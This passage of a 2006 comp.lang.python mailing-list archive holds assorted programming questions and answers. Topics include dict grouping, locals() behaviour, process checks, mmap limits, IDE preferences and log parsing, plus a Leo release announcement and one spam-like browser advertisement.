%tmp){ > print "$key -> @{$tmp{$key}}\n"; > } > i get > > 2 -> 1 2 3 4 > 7 -> 7 8 9 10 > > in python I tried: > b={} > a=[] > for line in fl.readlines(): > info=lines.split() > b[info[0]] = a.append(info[1]) > > and then > for i in b: > print i,b[i] > i get > 2 None > 7 None > > data file is: > 2 1 > 2 2 > 2 3 > 2 4 > 7 7 > 7 8 > 7 9 > 7 10 > > Any help?? > Thanks in advance > Best Regards > > Andrea > I'll see your perlish line noise, and raise you this obfuscapython: :) data = """\ 2 1 2 3 4 7 7 8 9 10 5 1 3 5 7 9 2 6 8 10""".split('\n') # similar to file.readlines(), but easier to paste into news post import operator, itertools item = operator.itemgetter b = dict( (k,sum(map(lambda g:g[1:],grps),[])) for (k,grps) in itertools.groupby( sorted( map(str.split,data) ), item(0) ) ) for item in sorted(b.items()): print "%s -> %s" % item prints: 2 -> ['1', '2', '3', '4', '6', '8', '10'] 5 -> ['1', '3', '5', '7', '9'] 7 -> ['7', '8', '9', '10'] -- Paul From duncan.booth at invalid.invalid Sun Oct 8 05:49:43 2006 From: duncan.booth at invalid.invalid (Duncan Booth) Date: 8 Oct 2006 09:49:43 GMT Subject: A critique of cgi.escape References: Message-ID: Lawrence D'Oliveiro wrote: > Another useful function is this: > > def JSString(Str) : > """returns a JavaScript string literal that evaluates to Str. > Note I'm not worrying about non-ASCII characters for now.""" Here is a shorter alternative that handles non-ASCII sequences provided you pass in unicode: def JSString(s): return repr(unicode(s))[1:] >>> print JSString(u"\u201chi there!\u201d") '\u201chi there!\u201d' >>> print JSString("Hello world") 'Hello world' >>> print JSString("Hello 'world'") "Hello 'world'" For ascii strings you could also use the string-escape codec, but strangely the unicode-escape codec doesn't escape quotes. From grahn+nntp at snipabacken.dyndns.org Wed Oct 4 10:35:39 2006 From: grahn+nntp at snipabacken.dyndns.org (Jorgen Grahn) Date: 4 Oct 2006 14:35:39 GMT Subject: How can I correct an error in an old post? References: <1159723139.638984.293300@h48g2000cwc.googlegroups.com> Message-ID: On Mon, 02 Oct 2006 16:36:24 +0100, Steve Holden wrote: > Jorgen Grahn wrote: >> On 1 Oct 2006 10:18:59 -0700, barakad at gmail.com wrote: >> .... >> >>>and I wish to add my findings to the post, to prevent others from >>>taking the wrong path. ... >> In Usenet terms, make a posting with a References: header which mentions the >> Message-ID of the bad posting (just like this posting references yours, if >> you look closely at the headers). That's easier if the posting hasn't >> already expired on your server, but by no means impossible if it has. >> >> /Jorgen >> > Since this message was never on topic, I disagree; it was a technical question on how to handle a discussion in this newsgroup, and IMHO that is always on topic -- to a certain point. > I'd appreciate it if all > concerned would close this thread now. I think you are overreacting. This was a thread with three (3) postings, in a high-volume newsgroup, with no indication that it would continue (except maybe with a pointer to whatever posting the OP wanted to correct, or to his correction). /Jorgen -- // Jorgen Grahn R'lyeh wgah'nagl fhtagn! From chris.cavalaria at free.fr Wed Oct 18 06:09:49 2006 From: chris.cavalaria at free.fr (Christophe) Date: Wed, 18 Oct 2006 12:09:49 +0200 Subject: Python Web Site? In-Reply-To: <36WdnfRBgYet3ajYnZ2dnUVZ_q-dnZ2d@comcast.com> References: <36WdnfRBgYet3ajYnZ2dnUVZ_q-dnZ2d@comcast.com> Message-ID: <4535fd6a$0$21879$426a74cc@news.free.fr> *% a ?crit : > Is there a problem with the Python and wxPython web sites? I cannot > seem to get them up, and I am trying to find some documentation... > > Thanks, > Mike All the sites hosted on sourceforge that rely on their vhost computer ( ie, site hosted on sourceforge that do not display the sourceforge.net address ) are broken. You get a blank page instead. http://wxpython.sourceforge.net/ works http://wxpython.org/ doesn't work It has been like that for a few hours already. From piet at cs.uu.nl Tue Oct 10 13:08:45 2006 From: piet at cs.uu.nl (Piet van Oostrum) Date: Tue, 10 Oct 2006 19:08:45 +0200 Subject: operator overloading + - / * = etc... References: <1160256250.688620.63770@h48g2000cwc.googlegroups.com> Message-ID: >>>>> Steven D'Aprano (SD) wrote: >SD> Despite sloppy talk to the contrary (which I think most of us do from time >SD> to time), Python doesn't have variables. It has names and objects. Names >SD> are just labels -- there is no difference in behavior between the *names* >SD> this_is_an_integer and this_is_a_string. (The *objects* they point to are >SD> a different story, naturally.) The official Python documentation (language reference manual) talks a lot about variables. So it seems silly to say that Python doesn't have variables. -- Piet van Oostrum URL: http://www.cs.uu.nl/~piet [PGP 8DAE142BE17999C4] Private email: piet at vanoostrum.org From __peter__ at web.de Sun Oct 29 08:50:40 2006 From: __peter__ at web.de (Peter Otten) Date: Sun, 29 Oct 2006 14:50:40 +0100 Subject: enumerate improvement proposal References: Message-ID: James Stroud wrote: > I think that it would be handy for enumerate to behave as such: > > def enumerate(itrbl, start=0, step=1): > i = start > for it in itrbl: > yield (i, it) > i += step > > This allows much more flexibility than in the current enumerate, > tightens up code in many cases, and seems that it would break no > existing code. Yes, I have needed this behavior with enumerate, like > tonight and the current example. I put the "step" parameter in for > conceptual symmetry with slicing. > > Here is a case use (or is it use case?): I don' think you have a use case here: # untested def find_interval(value, bounds, funny_offset=0, reverse=False): bounds = sorted(bounds) if reverse: index = len(bounds) - bisect.bisect_left(bounds, value) else: index = bisect.bisect_right(bounds, value) return index + funny_offset You can tell by its name which of the arguments I would have omitted :-) > Of course, I haven't used step here. That seems to be typical. The only use case I've ever come across is start=1 for output aimed at a human reader. > Even in this trivial example the > proposed enumerate cleans the code and logic, eliminating a couple of > plus signs. For this real-world example, the practical requirement for > reversing the bins obfuscates somewhat the de-obfuscation provided by > the proposed enumerate. But I think that it might be obvious that the > proposed enumerate could help significantly in cases a bit more > complicated than this one. Of course you get these claimed advantages from a self-written function, too. > Any thoughts? You have my support for adding a start parameter to enumerate(). I fear it won't make a difference. Peter From paolopantaleo at gmail.com Sat Oct 14 10:27:23 2006 From: paolopantaleo at gmail.com (Paolo Pantaleo) Date: Sat, 14 Oct 2006 16:27:23 +0200 Subject: locals() and globals() Message-ID: <83e8215e0610140727q44c0db80i9747360061c95893@mail.gmail.com> Hi this exaple: def lcl(): n=1 x=locals() x["n"]=100 print "n in lcl() is:" +str(n) #This will say Name error #x["new"]=1 #print new n=1 x=globals() x["n"]=100 print "gobal n is:" +str(n) x["new"]=1 print "new is:" +str(new) lcl() produces gobal n is:100 new is:1 n in lcl() is:1 shouldn't be n in lcl() 100 too? why accessing the names dictionary globals() and locals() gives different results? This example was made using Python 2.4.3 (#69, Mar 29 2006, 17:35:34) [MSC v.1310 32 bit (Intel)] on win32 PAolo From antoine at vo.lu Tue Oct 24 06:15:20 2006 From: antoine at vo.lu (Antoine De Groote) Date: Tue, 24 Oct 2006 12:15:20 +0200 Subject: can't open word document after string replacements In-Reply-To: <5e2e9$453dbff7$544abf75$9155@news.hispeed.ch> References: <5e2e9$453dbff7$544abf75$9155@news.hispeed.ch> Message-ID: <2d742$453de7b5$544abf75$16552@news.hispeed.ch> Thank you all for your comments. I ended up saving the word document in XML and then using (a slightly modified version of) my script of the OP. For those interested, there was also a problem with encodings. Regards, antoine From fredrik at pythonware.com Mon Oct 2 12:57:27 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Mon, 02 Oct 2006 18:57:27 +0200 Subject: Making sure script only runs once instance at a time. In-Reply-To: <4520E5E1.3040409@googlemail.com> References: <1159531181.314800.224180@k70g2000cwa.googlegroups.com> <7xk63mpzwr.fsf@ruckus.brouhaha.com> <451D25A3.7010803@googlemail.com> <4520E5E1.3040409@googlemail.com> Message-ID: Hari Sekhon wrote: > How exactly do you check that the pid is still active in python? Is > there a library or something that will allow me to manipulate system > processes and listings etc the way everybody does in unix shells.... by passing zero to the os.kill primitive: os.kill(pid, 0) if this raises an OSError, there's no active process with the given pid. > I'm a huge fan of shell so I've done my own thing which leans on shell > as follows: > > import sys,commands,os > > scriptpath = sys.argv[0] > scriptname = os.path.basename(scriptpath) > > number_procs=commands.getstatusoutput('ps -ef|grep %s|grep -v grep|wc > -l' % scriptpath) > > if number_procs > 1: > print "There appears to be another %s process running." % scriptname what if you have commands with overlapping names (e.g. "bar.py" and "foobar.py"), or some other user on the machine happens to run a command that, on purpose or by accident, contains your script's name (e.g. "emacs mybar.py") ? From ed at leafe.com Mon Oct 23 15:24:47 2006 From: ed at leafe.com (Ed Leafe) Date: Mon, 23 Oct 2006 15:24:47 -0400 Subject: Getting a lot of SPAM from this list In-Reply-To: References: Message-ID: <534221F6-A111-4460-AFB8-5E99EE44FEE0@leafe.com> On Oct 23, 2006, at 3:13 PM, Larry at bag.python.org, "Bates "@bag.python.org wrote: > I'm getting a lot of spam to the email address I use to post > to this list. Since this email address doesn't appear elsewhere, > I know that people are scanning this list to get the email > address and spam me. Does anyone have a suggestion as to a > way that I can get less of this spam? I could have another > email address, but that won't help as I'd still get the spam > and have to wade through it. I'm running spamassassin, but it > isn't catching all that much of it. Any suggestions would be > greatly appreciated. Spammers don't scan lists as much anymore; they now rely on machines infected with malware to extract addresses out of email programs. I know this doesn't help you, but it is good to recognize that it isn't always the fault of the list admins. I have an advantage in that I run my own mail server, and can create as many aliases to my account as I like. When a particular address "goes bad", I change that alias to point to /dev/null, and create a new one. If it's an alias for a list, I first unsub using the old alias, and then re-sub with the new one. -- Ed Leafe -- http://leafe.com -- http://dabodev.com From rpdooling at gmail.com Wed Oct 25 23:32:55 2006 From: rpdooling at gmail.com (BartlebyScrivener) Date: 25 Oct 2006 20:32:55 -0700 Subject: What's the best IDE? In-Reply-To: <1161824491.759664.271570@f16g2000cwb.googlegroups.com> References: <1161818092.830293.141880@k70g2000cwa.googlegroups.com> <1161824491.759664.271570@f16g2000cwb.googlegroups.com> Message-ID: <1161833575.641844.48740@f16g2000cwb.googlegroups.com> >> Vim >> you'll be frustrated for about a week, You'll be frustrated for at least two weeks. But you'll use it forever for everything from writing to programming, so who cares? Auto completion is called omni completion in VIM type ':h new-omni-completion' at the command line after two weeks of frustration. rd From g.brandl-nospam at gmx.net Sat Oct 28 06:37:10 2006 From: g.brandl-nospam at gmx.net (Georg Brandl) Date: Sat, 28 Oct 2006 12:37:10 +0200 Subject: Import if condition is correct In-Reply-To: <1162031606.988480.131330@k70g2000cwa.googlegroups.com> References: <1162031606.988480.131330@k70g2000cwa.googlegroups.com> Message-ID: MindClass wrote: > Is possible import a library according to a condition? > > if Foo = True: > import bar > Why don't you try it? (in the above code, not the import is the problem, but using the assignment operator in an expression) Georg From wildemar at freakmail.de Tue Oct 3 05:44:51 2006 From: wildemar at freakmail.de (Wildemar Wildenburger) Date: Tue, 03 Oct 2006 11:44:51 +0200 Subject: Howto pass Array/Hash into Function In-Reply-To: <1159867755.636060.48790@m7g2000cwm.googlegroups.com> References: <1159867755.636060.48790@m7g2000cwm.googlegroups.com> Message-ID: <45223113.2060703@freakmail.de> MonkeeSage wrote: > Wijaya Edward wrote: >> I wonder how can that be done in Python. > > def myfunc(plain_var, hash_ref, arref): > # Do sth with those variables > return At the risk of being a jerk (sorry, I'm really just curious): Why isn't that obvious? wildemar (sorry) From rpdooling at gmail.com Fri Oct 20 02:40:08 2006 From: rpdooling at gmail.com (BartlebyScrivener) Date: 19 Oct 2006 23:40:08 -0700 Subject: help with my first use of a class In-Reply-To: References: <1161324003.586807.145410@b28g2000cwb.googlegroups.com> Message-ID: <1161326408.382462.40150@k70g2000cwa.googlegroups.com> Wow, That's great, James. Thanks. I shall put it together. Appreciate it. rd From bj_private at yahoo.com Sun Oct 22 03:45:24 2006 From: bj_private at yahoo.com (bj_private at yahoo.com) Date: 22 Oct 2006 00:45:24 -0700 Subject: A very nice free browser to try... Message-ID: <1161503124.710374.286500@f16g2000cwb.googlegroups.com> Hi Guys, There's a very nice browser that is called Smart Bro. I think this browser is the best browser in the market. It has: 1. Very nice and clean interface. 2. Tabbed browsing. 3. History Cleaner. 4. Popup killer. 5. Form filler. 6. RSS reader. 7. Flash filter. And best of all it's free. I think you should try it. You can download it from here http://www.smartbro.com Best regards, John From picioslug at gmail.com Mon Oct 23 16:16:54 2006 From: picioslug at gmail.com (Picio) Date: 23 Oct 2006 13:16:54 -0700 Subject: Rabbit Modules - Dynamic C - Python Message-ID: <1161634614.172031.156720@h48g2000cwc.googlegroups.com> Hello, I would wonder if anyone knows something about programming with Python, Rabbit Core Modules, that normally were programmed with Dynamic C. I mean either: - something like using python to create code in dynamic suitable for the rabbit core - writing machine code for the rabbit core using a python API. Sorry if I'm not using the rights technicals words. Picio From tim.golden at viacom-outdoor.co.uk Wed Oct 11 05:27:12 2006 From: tim.golden at viacom-outdoor.co.uk (Tim Golden) Date: Wed, 11 Oct 2006 10:27:12 +0100 Subject: How to find a file or a device is currently used by which processor which program ? In-Reply-To: <452B572C.6020303@gmail.com> Message-ID: [fdu.xiaojf at gmail.com] | When I want to uninstall my usb disk on windows, the | operating systems | sometimes tells me the device is being used by other program. But I | can't find which program is using it. Can I do this using python ? This is really one of those questions that could better be rephrased: can I do this *without* using Python? By which I mean: there's nothing built into Python or its standard libraries which will determine which open program is holding which files open on your filesystem. I'm quite certain there exists some more or less brute-force technique for this in Windows in general, but you'd really have to find that, and then determine how to do it in Python. (Bit of Googling later...) I suggest you look at the Handle util from sysinternals.com (always a good place to start looking for these kind of things): http://www.sysinternals.com/utilities/handle.html You can run it against a directory or a specific file and its output it fairly parseable. Example, where I have a python process holding open a "temp.tmp" file my c:\temp directory: C:\>handle c:\temp Handle v3.2 Copyright (C) 1997-2006 Mark Russinovich Sysinternals - www.sysinternals.com cmd.exe pid: 4260 C: C:\temp python.exe pid: 5296 58: C:\temp\temp.tmp cmd.exe pid: 5232 94: C:\temp python.exe pid: 2672 94: C:\temp C:\> You could use the subprocess module (or its predecessors) to scan the output fairly easily, I imagine. What you with the process name / id is up to your needs, of course :) TJG ________________________________________________________________________ This e-mail has been scanned for all viruses by Star. The service is powered by MessageLabs. For more information on a proactive anti-virus service working around the clock, around the globe, visit: http://www.star.net.uk ________________________________________________________________________ From fredrik at pythonware.com Tue Oct 24 02:00:44 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Tue, 24 Oct 2006 08:00:44 +0200 Subject: using mmap on large (> 2 Gig) files In-Reply-To: <1161651470.010831.93400@m73g2000cwd.googlegroups.com> References: <1161642777.716466.57560@f16g2000cwb.googlegroups.com> <1161651470.010831.93400@m73g2000cwd.googlegroups.com> Message-ID: sturlamolden wrote: > Looking at Python's source (mmapmodule.c), it seems that "mmap.mmap" > always sets the offset argument in Windows' MapViewOfFile and UNIX' > mmap to 0. This means that it is always mapping from the beginning of > the file. Thus, Python's mmap module is useless for large files. This > is really bad coding. The one that wrote mmapmodule.c didn't consider > the possibility that a 64 bit file system like NTFS can harbour files > to large to fit in a 32 address space. Thus, mmapmodule.c needs to be > fixed before it can be used for large files. if you've gotten that far, maybe you could come up with a patch, instead of stating that someone else "needs to fix it" ? From duncan.booth at invalid.invalid Wed Oct 4 14:59:06 2006 From: duncan.booth at invalid.invalid (Duncan Booth) Date: 4 Oct 2006 18:59:06 GMT Subject: item access time: sets v. lists References: <4cSUg.7864$753.4683@trnddc05> Message-ID: "Paul McGuire" wrote: > By contrast, a set (and also the keys in a dict) use a tree structure > to index more quickly into the list of items 'dict' and I believe also 'set' use a hash table, not a tree structure. From __peter__ at web.de Mon Oct 23 04:35:04 2006 From: __peter__ at web.de (Peter Otten) Date: Mon, 23 Oct 2006 10:35:04 +0200 Subject: Problems trying to override __str__ on path class References: Message-ID: Mike Krell wrote: > Peter Otten <__peter__ at web.de> wrote in > news:ehggfk$60i$00$1 at news.t-online.com: > >> I get >> >> np: "overridden __str__: c:/mbk/test" >> str(np): "overridden __str__: c:/mbk/test" >> overridden __str__: overridden __str__: c:/mbk/test/appendtest > > Hmmm. I guess you're not running under windows, since normpath() > converts / to \ on windows. I wonder if that's part of the problem. > > >> Are you using the latest version of the path module? > > My path.py says it's 2.1, which is the latest according to the site. > > Older versions >> implied a Path() call in the __div__() operator which would explain at >> least the output you get for >> >> print np / 'appendtest' > > You've lost me here. What do you mean about "implied a Path() call"? > Here is the definition of __div__ from path.py: > > ''' > # The / operator joins paths. > def __div__(self, rel): > """ fp.__div__(rel) == fp / rel == fp.joinpath(rel) > > Join two path components, adding a separator character if > needed. > """ > return self.__class__(os.path.join(self, rel)) > ''' >From http://www.jorendorff.com/articles/python/path/changes.html: """ This page describes recent changes to the Python path module. 2.1 [...] Better support for subclassing path. All methods that returned path objects now respect subclassing. Before: type(PathSubclass(s).parent) is path Now: type(PathSubclass(s).parent) is PathSubclass """ So my assumption was that you are using a pre-2.1 version of path. I suggest that you double-check that by inserting a print path.__version__ into the code showing the odd behaviour before you start looking for more exotic causes. > I still don't understand the TypeError in the delegation case. For newstyle classes a = A() a / 42 # or any other operation implemented via __xxx__() (unlike a.__div__) will only look into the class for a __div__() special method and ignore methods defined in the instance or via the __getattr__() mechanism. For delegation to work you need (untested) class NormPath(object): def __div__(self, other): return self.__class__(self._path / other) # ... Peter From edreamleo at charter.net Sat Oct 21 10:11:10 2006 From: edreamleo at charter.net (Edward K. Ream) Date: Sat, 21 Oct 2006 09:11:10 -0500 Subject: ANN: Leo 4.4.2 beta 3 released Message-ID: <7Up_g.432$iA1.249@newsfe05.lga> Leo 4.4.2 beta 3 is available at: http://sourceforge.net/project/showfiles.php?group_id=3458&package_id=29106 The beta release fixed dozens of bugs and smoothed many rough edges. There are no known major bugs in Leo. This will be the last beta release before Loo 4.4.2 final. Leo is a text editor, data organizer, project manager and much more. See: http://webpages.charter.net/edreamleo/intro.html The highlights of Leo 4.4.2: ---------------------------- - You can now store settings in myLeoSettings.leo without fear of those settings being changed by cvs updates or in future versions of Leo. - Leo's vnode and tnode classes are now completely independent of the rest of Leo. Some api's have been changed. This 'big reorg' and may affect scripts and plugins. - Leo's vnode and tnode classes can optionally be compatible with ZODB databases, i.e., they can optionally derive from ZODB.Persistence.Persistent. See Chapter 17: Using ZODB with Leo for details. - The leoOPML plugin defines commands to read and write OPML files. - The slideshow plugin allows Leo to run slideshows defined by @slideshow and @slide nodes. - The leo_to_rtf and leo_to_html plugins create rtf and html files from Leo outlines. - Much faster navigation through the outline. - When focus is in the outline pane, you can move to headlines by typing the first letter of headlines. - The find command now optionally closes nodes not needed to show the node containing the present match. - Numerous changes that make Leo easier to use without using a mouse, including new commands and options. - Many new minibuffer commands now appear in the Cmds menu. - A sax parser can now optionally read .leo files. - Fixed numerous bugs. Quote of the month: ------------------ For the non-leo python project I'm (supposed to be) working on, I'm switching from emacs to leo :-) -- Terry Brown Links: ------ Leo: http://webpages.charter.net/edreamleo/front.html What's new: http://webpages.charter.net/edreamleo/new-4-4-2.html Home: http://sourceforge.net/projects/leo/ Download: http://sourceforge.net/project/showfiles.php?group_id=3458 CVS: http://leo.tigris.org/source/browse/leo/ Quotes: http://webpages.charter.net/edreamleo/testimonials.html -------------------------------------------------------------------- Edward K. Ream email: edreamleo at charter.net Leo: http://webpages.charter.net/edreamleo/front.html -------------------------------------------------------------------- From tim.peters at gmail.com Sat Oct 7 13:42:03 2006 From: tim.peters at gmail.com (Tim Peters) Date: Sat, 7 Oct 2006 13:42:03 -0400 Subject: Python to use a non open source bug tracker? In-Reply-To: References: <22pUg.132825$zy5.1820633@twister1.libero.it> <45240FD5.3050705@v.loewis.de> <4n4Vg.135913$_J1.898276@twister2.libero.it> <45254B18.2090806@v.loewis.de> <7x3ba1ltvj.fsf@ruckus.brouhaha.com> Message-ID: <1f7befae0610071042p322ba572n9180852cde5ff861@mail.gmail.com> [Giovanni Bajo] > I understand your concerns, but I have to remember you that most bug reports > submitted by users go totally ignored for several years, or, better, forever. I > do not have a correct statistic for this, Indeed you do not. > but I'm confident that at least 80% of the RFE or patches filed every week > is totally ignored, and probably at least 50% of the bugs too. None are /totally ignored/ -- indeed, at least I see every one as it comes in. You might want to change your claim to that no work obviously visible to you is done on them. That would be better. But, in fact, most bugs and patches are eventually closed, and many that stay open involve such obscure platform-dependent mysteries that nobody with sufficient platform expertise to resolve them appears to exist. For example, if you'd prefer, I'll assign all bugs and patches involving threads on HP-UX to you from now on ;-) These are the actual stats as of a few minutes ago: Bugs: 938 open of 7169 total ~= 87% closed Patches: 429 open of 3846 total ~= 89% closed Feature Requests: 240 open of 479 total ~= 50% closed > I think there is a much bigger problem here wrt QOS. Well, you're confident that 80% of patches are ignored. In reality, 89% of all patches ever submitted have been pursued to final resolution. Call me a stickler for detail, but something just doesn't jibe there to my eyes ;-) There's an easy way to improve these percentages dramatically, although they're not bad as-is: run thru them and close every one that isn't entirely clear. For example, reject every feature request, close every patch that changes visible behavior not /clearly/ fixing a bona fide bug, and close every "bug report" that's really a feature request or random "but Perl/Ruby/PHP doesn't do it this way" complaint in disguise. The Python developers tend to keep a report open if there's a scant non-zero chance that somebody, someday, might appear who's motivated enough to make something of it. If the goal was instead to make the percentages "look good", they could easily and justifiably be dramatically "improved" before today ends. For example, the oldest patch open today is a speculative implementation of rational numbers for Python. This is really a feature request in disguise, and has very little chance-- but not /no/ chance --of ever being accepted. The oldest bug open today is from 6 years ago, and looks like an easy-to-answer /question/ about the semantics of regular expressions in Python 1.6. I could take time to close that one now, but is that a /good/ use of time? Yes, but, at the moment, even finishing this reply seems to be a /better/ use of my time -- and after that, I'm going to get something to eat ;-) Note that I don't mean to claim that turnaround time on bugs and patches is ideal. To the contrary, if it's /my/ bug or patch I'm looking at it, turnaround time sucks, and if you're looking at yours, likewise for you. That's what happens when there are thousands of "you"s and a handful of "them"s, all of the latter volunteering "spare time". OTOH, turnaround time on Python bugs classified as critical is superb. From hg at nospam.com Fri Oct 13 16:26:59 2006 From: hg at nospam.com (hg) Date: Fri, 13 Oct 2006 15:26:59 -0500 Subject: wing ide vs. komodo? In-Reply-To: References: <2nRXg.108$1n3.2866@news.tufts.edu> <18SXg.27347$Go3.9933@dukeread05> Message-ID: Theerasak Photha wrote: > On 10/13/06, hg wrote: > >> I have spend the past two years with eclipse/pydev ... a few issue are >> still troublesome to me (speed, search for definitions ... being a few >> of them) ... and until two days ago I had not even looked at Wing as I >> wrongly thought it was on Windoze-based. But I must must admit I am >> impressed - yet I feel it would be stupid to not look carefully at >> Komodo ... hence my questions. > > I haven't used Komodo personally. I like Emacs. However: > > 1) *Appearing* sparse doesn't mean much---Emacs 22's GTK interface > 'looks' sparse as well, and sparse is the last word that comes to mind > when I think of Emacs > 2) I've *heard* good things about Komodo before from others---it might > just be awesome > > Perhaps you could try the Eric IDE? I hear SPE is not in active > dev.--- a pity to be sure, but I have used Eric before and found it > pretty easy to use and featureful. > > -- Theerasak Eric3 is very nice and moving forward ... I believe it is based on the QT library which free ... yet not so free under windows (i have yet to understand the business model). Emacs I use for very small project (my finger talk emacs ;-) ) ... but CTAGS is a bit cumbersome for large projects and as my architectures have much need for improvements, I need powerful tools to find my way around. PS: I also was taken aback by the fact that the PyDev license was "per-year" ... it's like buying Word for a year only ... isn't it ? hg From blair.houghton at gmail.com Mon Oct 2 13:00:26 2006 From: blair.houghton at gmail.com (Blair P. Houghton) Date: 2 Oct 2006 10:00:26 -0700 Subject: How can I correct an error in an old post? In-Reply-To: References: <1159723139.638984.293300@h48g2000cwc.googlegroups.com> Message-ID: <1159808426.817883.280560@h48g2000cwc.googlegroups.com> Steve Holden wrote: > Since this message was never on topic, I'd appreciate it if all > concerned would close this thread now. I already did. How did you get in here? --Blair From horpner at yahoo.com Thu Oct 19 12:36:07 2006 From: horpner at yahoo.com (Neil Cerutti) Date: 19 Oct 2006 18:36:07 +0200 Subject: UTF-8 to unicode or latin-1 (and yes, I read the FAQ) References: <1161249411.230825.139160@m7g2000cwm.googlegroups.com> <1161252764.244873.134740@f16g2000cwb.googlegroups.com> <2m8k04-gfe.ln1@nb2.stroeder.com> Message-ID: On 2006-10-19, Marc 'BlackJack' Rintsch wrote: > In , Neil Cerutti wrote: >>> Note that 'K\xc3\xb6ni'.decode('utf-8') returns a Unicode >>> object. With print this is implicitly converted to string. The >>> char set used depends on your console >> >> No, the setting of the console encoding (sys.stdout.encoding) is >> ignored. > > Nope, it is not ignored. This would not work then:: > > In [2]: print 'K\xc3\xb6nig'.decode('utf-8') > K?nig > > In [3]: import sys > > In [4]: sys.getdefaultencoding() > Out[4]: 'ascii' OK, I was thinking of the behavior of file.write(s). Thanks again for the correction. -- Neil Cerutti From johnjsal at NOSPAMgmail.com Mon Oct 30 15:49:18 2006 From: johnjsal at NOSPAMgmail.com (John Salerno) Date: Mon, 30 Oct 2006 20:49:18 GMT Subject: Python 123 introduction In-Reply-To: References: <1162230329.413075.93370@b28g2000cwb.googlegroups.com> Message-ID: skip at pobox.com wrote: > dakman> This is great! A excellent tutorial for somone who has prior > dakman> experience in programming and is starting out in python. My > dakman> friend keeps wanting me to teach him python, I think this would > dakman> be the perfect link for him. > > I'm not trying to minimize Jeremy's efforts in any way, but how is his > tutorial a significant improvement over the original > (http://www.python.org/doc/current/tut/)? > > Skip well, not to minimize the efforts of guido's tutorial, but sometimes it seems less of a tutorial and more of a summary of python's features, so it never hurts to have things explained in a different way... From larry dot bates at websafe dot com Mon Oct 23 15:19:16 2006 From: larry dot bates at websafe dot com (Larry Bates) Date: Mon, 23 Oct 2006 14:19:16 -0500 Subject: _winreg.saveKey question In-Reply-To: <1161630512.093547.287390@f16g2000cwb.googlegroups.com> References: <1161630512.093547.287390@f16g2000cwb.googlegroups.com> Message-ID: > remotekey = _winreg.OpenKey(rhostreg, key) Try adding the sam=_winreg.KEY_SET_VALUE parameter. Help on built-in function OpenKey in module _winreg: OpenKey(...) key = OpenKey(key, sub_key, res = 0, sam = KEY_READ) - Opens the specified key. key is an already open key, or any one of the predefined HKEY_* constants. sub_key is a string that identifies the sub_key to open res is a reserved integer, and must be zero. Default is zero. sam is an integer that specifies an access mask that describes the desired security access for the key. Default is KEY_READ The result is a new handle to the specified key If the function fails, an EnvironmentError exception is raised. The default is KEY_READ so you can't update. -Larry Bates From fredrik at pythonware.com Wed Oct 11 01:30:40 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Wed, 11 Oct 2006 07:30:40 +0200 Subject: sufficiently pythonic code for testing type of function In-Reply-To: <463ff4860610102206y2d159ad9u6947c72c2f0d573a@mail.gmail.com> References: <463ff4860610102206y2d159ad9u6947c72c2f0d573a@mail.gmail.com> Message-ID: Theerasak Photha wrote: > I wrote this for someone else to take an object and list of types, > then check if obj is one of those types, raising an error otherwise. note that a call to your function is pretty much equivalent to assert isinstance(obj, types) which has the additional advantage that you can provide a more specific message: assert isinstance(obj, types), "message" and also disable the check once you've verified that the code actually does the right thing. From fredrik at pythonware.com Thu Oct 5 16:13:53 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Thu, 05 Oct 2006 22:13:53 +0200 Subject: How do I put % in a format sting? In-Reply-To: <312cfe2b0610051306v5c43162akfa5fc89877f331b9@mail.gmail.com> References: <312cfe2b0610051306v5c43162akfa5fc89877f331b9@mail.gmail.com> Message-ID: <45256781.9010703@pythonware.com> Gregory Pi?ero wrote: > How do I put % in a format sting? write it twice. From johnzenger at gmail.com Fri Oct 6 11:47:57 2006 From: johnzenger at gmail.com (johnzenger at gmail.com) Date: 6 Oct 2006 08:47:57 -0700 Subject: extract certain values from file with re In-Reply-To: References: Message-ID: <1160149677.132820.40110@i3g2000cwc.googlegroups.com> Can you safely assume that the lines you want to extract all contain numbers, and that the lines you do not wish to extract do not contain numbers? If so, you could just use the Linux grep utility: "grep '[0123456789]' filename" Or, in Python: import re inf = file("your-filename-here.txt") outf = file("result-file.txt","w") digits = re.compile("\d") for line in inf: if digits.search(line): outf.write(line) outf.close() inf.close() As for your "more difficult" file, take a look at the CSV module. I think that by changing the delimiter from a comma to a |, you will be 95% of the way to your goal. Fabian Braennstroem wrote: > Hi, > > I would like to remove certain lines from a log files. I had > some sed/awk scripts for this, but now, I want to use python > with its re module for this task. > > Actually, I have two different log files. The first file looks > like: > > ... > 'some text' > ... > > ITER I----------------- GLOBAL ABSOLUTE RESIDUAL -----------------I I------------ FIELD VALUES AT MONITORING LOCATION ----------I > NO UMOM VMOM WMOM MASS T EN DISS ENTH U V W P TE ED T > 1 9.70E-02 8.61E-02 9.85E-02 1.00E+00 1.61E+01 7.65E+04 0.00E+00 1.04E-01-8.61E-04 3.49E-02 1.38E-03 7.51E-05 1.63E-05 2.00E+01 > 2 3.71E-02 3.07E-02 3.57E-02 1.00E+00 3.58E-01 6.55E-01 0.00E+00 1.08E-01-1.96E-03 4.98E-02 7.11E-04 1.70E-04 4.52E-05 2.00E+01 > 3 2.64E-02 1.99E-02 2.40E-02 1.00E+00 1.85E-01 3.75E-01 0.00E+00 1.17E-01-3.27E-03 6.07E-02 4.02E-04 4.15E-04 1.38E-04 2.00E+01 > 4 2.18E-02 1.52E-02 1.92E-02 1.00E+00 1.21E-01 2.53E-01 0.00E+00 1.23E-01-4.85E-03 6.77E-02 1.96E-05 9.01E-04 3.88E-04 2.00E+01 > 5 1.91E-02 1.27E-02 1.70E-02 1.00E+00 8.99E-02 1.82E-01 0.00E+00 1.42E-01-6.61E-03 7.65E-02 1.78E-04 1.70E-03 9.36E-04 2.00E+01 > ... > ... > ... > > 2997 3.77E-04 2.89E-04 3.05E-04 2.71E-02 5.66E-04 6.28E-04 0.00E+00 -3.02E-01 3.56E-02-7.97E-02-7.11E-02 4.08E-02 1.86E-01 2.00E+01 > 2998 3.77E-04 2.89E-04 3.05E-04 2.71E-02 5.65E-04 6.26E-04 0.00E+00 -3.02E-01 3.63E-02-8.01E-02-7.10E-02 4.02E-02 1.83E-01 2.00E+01 > 2999 3.76E-04 2.89E-04 3.05E-04 2.70E-02 5.64E-04 6.26E-04 0.00E+00 -3.02E-01 3.69E-02-8.04E-02-7.10E-02 3.96E-02 1.81E-01 2.00E+01 > 3000 3.78E-04 2.91E-04 3.07E-04 